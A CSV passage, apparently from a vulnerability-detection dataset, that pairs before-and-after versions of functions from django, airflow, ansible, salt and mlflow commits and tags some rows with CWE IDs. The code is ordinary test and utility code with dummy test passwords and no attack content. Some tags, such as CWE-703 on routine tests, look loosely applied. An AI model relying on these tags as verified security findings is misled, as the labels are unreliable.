        self.assertEqual(t.render(Context({})), 'Added “<User: jondoe>”.')",CWE-259,django/django,42b9a23267f14be39b9b00958e18d5746783208e,"def test_no_user(self):
        """"""{% get_admin_log %} works without specifying a user.""""""
        user = User(username='jondoe', password='secret', email='super@example.com')
        user.save()
        ct = ContentType.objects.get_for_model(User)
        LogEntry.objects.log_action(user.pk, ct.pk, user.pk, repr(user), 1)
        t = Template(
            '{% load log %}'
            '{% get_admin_log 100 as admin_log %}'
            '{% for entry in admin_log %}'
            '{{ entry|safe }}'
            '{% endfor %}'
        )
        self.assertEqual(t.render(Context({})), 'Added ""<User: jondoe>"".')"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/dag_processing/test_processor.py,1,"def test_top_level_variable_access_not_found(
        self, spy_agency: SpyAgency, tmp_path: pathlib.Path, monkeypatch: pytest.MonkeyPatch
    ):
        logger_filehandle = MagicMock()

        def dag_in_a_fn():
            from airflow.sdk import DAG, Variable

            with DAG(f""test_{Variable.get('myvar')}""):
                ...

        path = write_dag_in_a_fn_to_file(dag_in_a_fn, tmp_path)
        proc = DagFileProcessorProcess.start(
            id=1, path=path, bundle_path=tmp_path, callbacks=[], logger_filehandle=logger_filehandle
        )

        while not proc.is_ready:
            proc._service_subprocess(0.1)

        result = proc.parsing_result
        assert result is not None
        assert result.import_errors != {}
        if result.import_errors:
            assert ""VARIABLE_NOT_FOUND"" in next(iter(result.import_errors.values()))",CWE-703,apache/airflow,458ac63f7cb5b671483f0e521f1cb0ad57508675,"def test_top_level_variable_access_not_found(
        self, spy_agency: SpyAgency, tmp_path: pathlib.Path, monkeypatch: pytest.MonkeyPatch
    ):
        logger_filehandle = MagicMock()

        def dag_in_a_fn():
            from airflow.sdk import DAG, Variable

            with DAG(f""test_{Variable.get('myvar')}""):
                ...

        path = write_dag_in_a_fn_to_file(dag_in_a_fn, tmp_path)
        proc = DagFileProcessorProcess.start(
            id=1, path=path, bundle_path=tmp_path, callbacks=[], logger_filehandle=logger_filehandle
        )

        while not proc.is_ready:
            proc._service_subprocess(0.1)

        result = proc.parsing_result
        assert result is not None
        assert result.import_errors != {}
        if result.import_errors:
            assert ""VARIABLE_NOT_FOUND"" in next(iter(result.import_errors.values()))"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/select_related_regress/models.py,0,"def __str__(self):
        return ""Building: %s"" % self.name",CWE-Unknown,django/django,c3791463a5a9674f8e0148fbab57eae23c138896,"def __str__(self):
        return ""Building: %s"" % self.name"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/network/vyos/facts/facts.py,0,"def get_facts(self, legacy_facts_type=None, resource_facts_type=None, data=None):
        """""" Collect the facts for vyos
        :param legacy_facts_type: List of legacy facts types
        :param resource_facts_type: List of resource fact types
        :param data: previously collected conf
        :rtype: dict
        :return: the facts gathered
        """"""
        if self.VALID_RESOURCE_SUBSETS:
            self.get_network_resources_facts(FACT_RESOURCE_SUBSETS, resource_facts_type, data)
        if self.VALID_LEGACY_GATHER_SUBSETS:
            self.get_network_legacy_facts(FACT_LEGACY_SUBSETS, legacy_facts_type)

        return self.ansible_facts, self._warnings",,ansible/ansible,c1e02d5c7a6a15efd85cf877a221ecc69eb7f729,"def get_facts(self, legacy_facts_type=None, resource_facts_type=None, data=None):
        """""" Collect the facts for vyos
        :param legacy_facts_type: List of legacy facts types
        :param resource_facts_type: List of resource fact types
        :param data: previously collected conf
        :rtype: dict
        :return: the facts gathered
        """"""
        netres_choices = FactsArgs.argument_spec['gather_network_resources'].get('choices', [])
        if self.VALID_RESOURCE_SUBSETS:
            self.get_network_resources_facts(netres_choices, FACT_RESOURCE_SUBSETS,
                                             resource_facts_type, data)
        if self.VALID_LEGACY_GATHER_SUBSETS:
            self.get_network_legacy_facts(FACT_LEGACY_SUBSETS, legacy_facts_type)

        return self.ansible_facts, self._warnings"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/system/filesystem.py,0,"def _get_fs_size(fssize_cmd, dev, module):
    """""" Return size in bytes of filesystem on device. Returns int """"""
    cmd = module.get_bin_path(fssize_cmd, required=True)
    if 'tune2fs' == fssize_cmd:
        # Get Block count and Block size
        rc, size, err = module.run_command(""%s %s %s"" % (cmd, '-l', dev))
        if rc == 0:
            for line in size.splitlines():
                if 'Block count:' in line:
                    block_count = int(line.split(':')[1].strip())
                elif 'Block size:' in line:
                    block_size = int(line.split(':')[1].strip())
                    break
        else:
            module.fail_json(msg=""Failed to get block count and block size of %s with %s"" % (dev, cmd), rc=rc, err=err )
    elif 'xfs_info' == fssize_cmd:
        # Get Block count and Block size
        rc, size, err = module.run_command(""%s %s"" % (cmd, dev))
        if rc == 0:
            for line in size.splitlines():
                col = line.split('=')
                if col[0].strip() == 'data':
                    block_size = int(col[2].split()[0])
                    block_count = int(col[3].split(',')[0])
                    break
        else:
            module.fail_json(msg=""Failed to get block count and block size of %s with %s"" % (dev, cmd), rc=rc, err=err )
    elif 'btrfs' == fssize_cmd:
        #ToDo
        # There is no way to get the blocksize and blockcount for btrfs filesystems
        block_size = 1
        block_count = 1


    return block_size*block_count",,ansible/ansible,3c75808c5c36a7529a93ac1bba9014907fa3e349,"def _get_fs_size(fssize_cmd, dev, module):
    """""" Return size in bytes of filesystem on device. Returns int """"""
    cmd = module.get_bin_path(fssize_cmd, required=True)
    if 'tune2fs' == fssize_cmd:
        # Get Block count and Block size
        rc, size, err = module.run_command(""%s %s %s"" % (cmd, '-l', dev))
        if rc == 0:
            for line in size.splitlines():
                if 'Block count:' in line:
                    block_count = int(line.split(':')[1].strip())
                elif 'Block size:' in line:
                    block_size = int(line.split(':')[1].strip())
                    break
        else:
            module.fail_json(msg=""Failed to get block count and block size of %s with %s"" % (dev, cmd), rc=rc, err=err )
    elif 'xfs_info' == fssize_cmd:
        # Get Block count and Block size
        rc, size, err = module.run_command(""%s %s"" % (cmd, dev))
        if rc == 0:
            for line in size.splitlines():
                #if 'data' in line:
                if 'data ' in line:
                    block_size = int(line.split('=')[2].split()[0])
                    block_count = int(line.split('=')[3].split(',')[0])
                    break
        else:
            module.fail_json(msg=""Failed to get block count and block size of %s with %s"" % (dev, cmd), rc=rc, err=err )
    elif 'btrfs' == fssize_cmd:
        #ToDo
        # There is no way to get the blocksize and blockcount for btrfs filesystems
        block_size = 1
        block_count = 1


    return block_size*block_count"
,UNKNOWN,UNKNOWN,test/units/parsing/test_ajson.py,1,"def test_ansible_json_decoder_vault(self, ansible_json_encoder, test_input, expected):
        """"""
        Test for passing AnsibleVaultEncryptedUnicode to AnsibleJSONEncoder.default().
        """"""
        assert ansible_json_encoder.default(test_input) == {'__ansible_vault': expected}
        assert json.dumps(test_input, cls=AnsibleJSONEncoder, preprocess_unsafe=True) == '{""__ansible_vault"": ""%s""}' % expected.replace('\n', '\\n')",CWE-703,ansible/ansible,7eb5f532946686c7173c0d95946aa4b49c010cf1,"def test_ansible_json_decoder_vault(self, ansible_json_encoder, test_input, expected):
        """"""
        Test for passing AnsibleVaultEncryptedUnicode to AnsibleJSONEncoder.default().
        """"""
        assert ansible_json_encoder.default(test_input) == {'__ansible_vault': expected}"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/ssh.py,0,"def recv_known_host(hostname,
                    enc=None,
                    port=None,
                    hash_hostname=True,
                    hash_known_hosts=True):
    '''
    Retrieve information about host public key from remote server

    hostname
        The name of the remote host (e.g. ""github.com"")

    enc
        Defines what type of key is being used, can be ed25519, ecdsa ssh-rsa
        or ssh-dss

    port
        optional parameter, denoting the port of the remote host, which will be
        used in case, if the public key will be requested from it. By default
        the port 22 is used.

    hash_hostname : True
        Hash all hostnames and addresses in the known hosts file.

        .. deprecated:: Carbon

            Please use hash_known_hosts instead.

    hash_known_hosts : True
        Hash all hostnames and addresses in the known hosts file.

    CLI Example:

    .. code-block:: bash

        salt '*' ssh.recv_known_host <hostname> enc=<enc> port=<port>
    '''

    if not hash_hostname:
        salt.utils.warn_until(
            'Carbon',
            'The hash_hostname parameter is misleading as ssh-keygen can only '
            'hash the whole known hosts file, not entries for individual'
            'hosts. Please use hash_known_hosts=False instead.')
        hash_known_hosts = hash_hostname

    # The following list of OSes have an old version of openssh-clients
    # and thus require the '-t' option for ssh-keyscan
    need_dash_t = ['CentOS-5']

    chunks = ['ssh-keyscan']
    if port:
        chunks += ['-p', str(port)]
    if enc:
        chunks += ['-t', str(enc)]
    if not enc and __grains__.get('osfinger') in need_dash_t:
        chunks += ['-t', 'rsa']
    if hash_known_hosts:
        chunks.append('-H')
    chunks.append(str(hostname))
    cmd = ' '.join(chunks)
    lines = __salt__['cmd.run'](cmd, python_shell=False).splitlines()
    known_hosts = list(_parse_openssh_output(lines))
    return known_hosts[0] if known_hosts else None",,saltstack/salt,ebce47de7c72a48b7fbd0a67f0b87b906a8801c1,"def recv_known_host(hostname,
                    enc=None,
                    port=None,
                    hash_hostname=True,
                    hash_known_hosts=True):
    '''
    Retrieve information about host public key from remote server

    CLI Example:

    .. code-block:: bash

        salt '*' ssh.recv_known_host <hostname> enc=<enc> port=<port>
    '''

    if not hash_hostname:
        salt.utils.warn_until(
            'Carbon',
            'The hash_hostname parameter is misleading as ssh-keygen can only '
            'hash the whole known hosts file, not entries for individual'
            'hosts. Please use hash_known_hosts=False instead.')
        hash_known_hosts = hash_hostname

    # The following list of OSes have an old version of openssh-clients
    # and thus require the '-t' option for ssh-keyscan
    need_dash_t = ['CentOS-5']

    chunks = ['ssh-keyscan']
    if port:
        chunks += ['-p', str(port)]
    if enc:
        chunks += ['-t', str(enc)]
    if not enc and __grains__.get('osfinger') in need_dash_t:
        chunks += ['-t', 'rsa']
    if hash_known_hosts:
        chunks.append('-H')
    chunks.append(str(hostname))
    cmd = ' '.join(chunks)
    lines = __salt__['cmd.run'](cmd, python_shell=False).splitlines()
    known_hosts = list(_parse_openssh_output(lines))
    return known_hosts[0] if known_hosts else None"
,UNKNOWN,UNKNOWN,tests/unit/transport/test_zeromq.py,1,"def test_master_uri(self):
        '''
        test _get_master_uri method
        '''

        m_ip = '127.0.0.1'
        m_port = 4505
        s_ip = '111.1.0.1'
        s_port = 4058

        m_ip6 = '1234:5678::9abc'
        s_ip6 = '1234:5678::1:9abc'

        with patch('salt.transport.zeromq.LIBZMQ_VERSION_INFO', (4, 1, 6)), \
            patch('salt.transport.zeromq.ZMQ_VERSION_INFO', (16, 0, 1)):
            # pass in both source_ip and source_port
            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip,
                                                         master_port=m_port,
                                                         source_ip=s_ip,
                                                         source_port=s_port) == 'tcp://{0}:{1};{2}:{3}'.format(s_ip, s_port, m_ip, m_port)

            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip6,
                                                         master_port=m_port,
                                                         source_ip=s_ip6,
                                                         source_port=s_port) == 'tcp://[{0}]:{1};[{2}]:{3}'.format(s_ip6, s_port, m_ip6, m_port)

            # source ip and source_port empty
            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip,
                                                         master_port=m_port) == 'tcp://{0}:{1}'.format(m_ip, m_port)

            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip6,
                                                         master_port=m_port) == 'tcp://[{0}]:{1}'.format(m_ip6, m_port)

            # pass in only source_ip
            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip,
                                                         master_port=m_port,
                                                         source_ip=s_ip) == 'tcp://{0}:0;{1}:{2}'.format(s_ip, m_ip, m_port)

            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip6,
                                                         master_port=m_port,
                                                         source_ip=s_ip6) == 'tcp://[{0}]:0;[{1}]:{2}'.format(s_ip6, m_ip6, m_port)

            # pass in only source_port
            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip,
                                                         master_port=m_port,
                                                         source_port=s_port) == 'tcp://0.0.0.0:{0};{1}:{2}'.format(s_port, m_ip, m_port)

            # pass in only master_port and ipv6 source_ip and source_port
            assert salt.transport.zeromq._get_master_uri(master_port=m_port,
                                                         source_ip=m_port,
                                                         source_port=s_port) == 'tcp://[::]:{0};[{1}]:{2}'.format(m_port, s_ip6, s_port)","CWE-605, CWE-703",saltstack/salt,df7338809bb4246ef028258658d049bedaaaca86,"def test_master_uri(self):
        '''
        test _get_master_uri method
        '''
        m_ip = '127.0.0.1'
        m_port = 4505
        s_ip = '111.1.0.1'
        s_port = 4058

        with patch('salt.transport.zeromq.LIBZMQ_VERSION_INFO', (4, 1, 6)), \
            patch('salt.transport.zeromq.ZMQ_VERSION_INFO', (16, 0, 1)):
            # pass in both source_ip and source_port
            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip,
                                                         master_port=m_port,
                                                         source_ip=s_ip,
                                                         source_port=s_port) == 'tcp://{0}:{1};{2}:{3}'.format(s_ip, s_port, m_ip, m_port)

            # source ip and source_port empty
            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip,
                                                         master_port=m_port) == 'tcp://{0}:{1}'.format(m_ip, m_port)

            # pass in only source_ip
            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip,
                                                         master_port=m_port,
                                                         source_ip=s_ip) == 'tcp://{0}:0;{1}:{2}'.format(s_ip, m_ip, m_port)

            # pass in only source_port
            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip,
                                                         master_port=m_port,
                                                         source_port=s_port) == 'tcp://0.0.0.0:{0};{1}:{2}'.format(s_port, m_ip, m_port)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/client/ssh/test_ssh.py,1,"def test_key_deploy_permission_denied_file_scp(tmp_path, opts):
    """"""
    test ""key_deploy"" function when permission denied
    due to not having access to copy the file to the target
    We do not want to deploy the key, because this is not
    an authentication to the target error.
    """"""
    host = ""localhost""
    passwd = ""password""
    usr = ""ssh-usr""
    opts[""ssh_user""] = usr
    opts[""tgt""] = host

    mock_key_run = MagicMock(return_value=False)
    patch_key_run = patch(""salt.client.ssh.SSH._key_deploy_run"", mock_key_run)

    ssh_ret = {
        ""localhost"": {
            ""_error"": ""The command resulted in a non-zero exit code"",
            ""stdout"": """",
            ""stderr"": 'scp: dest open ""/tmp/preflight.sh"": Permission denied\nscp: failed to upload file /etc/salt/preflight.sh to /tmp/preflight.sh\n',
            ""retcode"": 1,
        }
    }
    patch_roster_file = patch(""salt.roster.get_roster_file"", MagicMock(return_value=""""))
    with patch_roster_file:
        client = ssh.SSH(opts)
    ret, retcode = client.key_deploy(host, ssh_ret)
    assert ret == ssh_ret
    assert retcode is None
    assert mock_key_run.call_count == 0",CWE-703,saltstack/salt,cf57e487e263cc4c47f5eaf39916cb5434d720e8,"def test_key_deploy_permission_denied_file_scp(tmp_path, opts):
    """"""
    test ""key_deploy"" function when permission denied
    due to not having access to copy the file to the target
    We do not want to deploy the key, because this is not
    an authentication to the target error.
    """"""
    host = ""localhost""
    passwd = ""password""
    usr = ""ssh-usr""
    opts[""ssh_user""] = usr
    opts[""tgt""] = host

    mock_key_run = MagicMock(return_value=False)
    patch_key_run = patch(""salt.client.ssh.SSH._key_deploy_run"", mock_key_run)

    ssh_ret = {
        ""localhost"": {
            ""stdout"": """",
            ""stderr"": 'scp: dest open ""/tmp/preflight.sh"": Permission denied\nscp: failed to upload file /etc/salt/preflight.sh to /tmp/preflight.sh\n',
            ""retcode"": 1,
        }
    }
    patch_roster_file = patch(""salt.roster.get_roster_file"", MagicMock(return_value=""""))
    with patch_roster_file:
        client = ssh.SSH(opts)
    ret, retcode = client.key_deploy(host, ssh_ret)
    assert ret == ssh_ret
    assert mock_key_run.call_count == 0"
,UNKNOWN,UNKNOWN,tests/tracking/test_rest_tracking.py,1,"def test_create_model_version_with_file_uri(mlflow_client):
    name = ""test""
    mlflow_client.create_registered_model(name)
    exp_id = mlflow_client.create_experiment(""test"")
    run = mlflow_client.create_run(experiment_id=exp_id)
    assert run.info.artifact_uri.startswith(""file://"")
    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": run.info.artifact_uri,
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 200

    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": f""{run.info.artifact_uri}/model"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 200

    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": f""{run.info.artifact_uri}/."",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 200

    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": f""{run.info.artifact_uri}/model/.."",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 200

    # run_id is not specified
    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": run.info.artifact_uri,
        },
    )
    assert response.status_code == 400
    assert ""To use a local path as a model version"" in response.json()[""message""]

    # run_id is specified but source is not in the run's artifact directory
    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""file:///tmp"",
        },
    )
    assert response.status_code == 400
    assert ""To use a local path as a model version"" in response.json()[""message""]

    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""file://123.456.789.123/path/to/source"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 500, response.json()
    assert ""is not a valid remote uri"" in response.json()[""message""]",CWE-703,mlflow/mlflow,438a450714a3ca06285eeea34bdc6cf79d7f6cbc,"def test_create_model_version_with_file_uri(mlflow_client):
    name = ""test""
    mlflow_client.create_registered_model(name)
    exp_id = mlflow_client.create_experiment(""test"")
    run = mlflow_client.create_run(experiment_id=exp_id)
    assert run.info.artifact_uri.startswith(""file://"")
    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": run.info.artifact_uri,
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 200

    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": f""{run.info.artifact_uri}/model"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 200

    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": f""{run.info.artifact_uri}/."",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 200

    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": f""{run.info.artifact_uri}/model/.."",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 200

    # run_id is not specified
    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": run.info.artifact_uri,
        },
    )
    assert response.status_code == 400
    assert ""To use a local path as a model version"" in response.json()[""message""]

    # run_id is specified but source is not in the run's artifact directory
    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""file:///tmp"",
        },
    )
    assert response.status_code == 400
    assert ""To use a local path as a model version"" in response.json()[""message""]

    response = requests.post(
        f""{mlflow_client.tracking_uri}/api/2.0/mlflow/model-versions/create"",
        json={
            ""name"": name,
            ""source"": ""file://123.456.789.123/path/to/source"",
            ""run_id"": run.info.run_id,
        },
    )
    assert response.status_code == 400
    assert ""MLflow tracking server doesn't allow"" in response.json()[""message""]"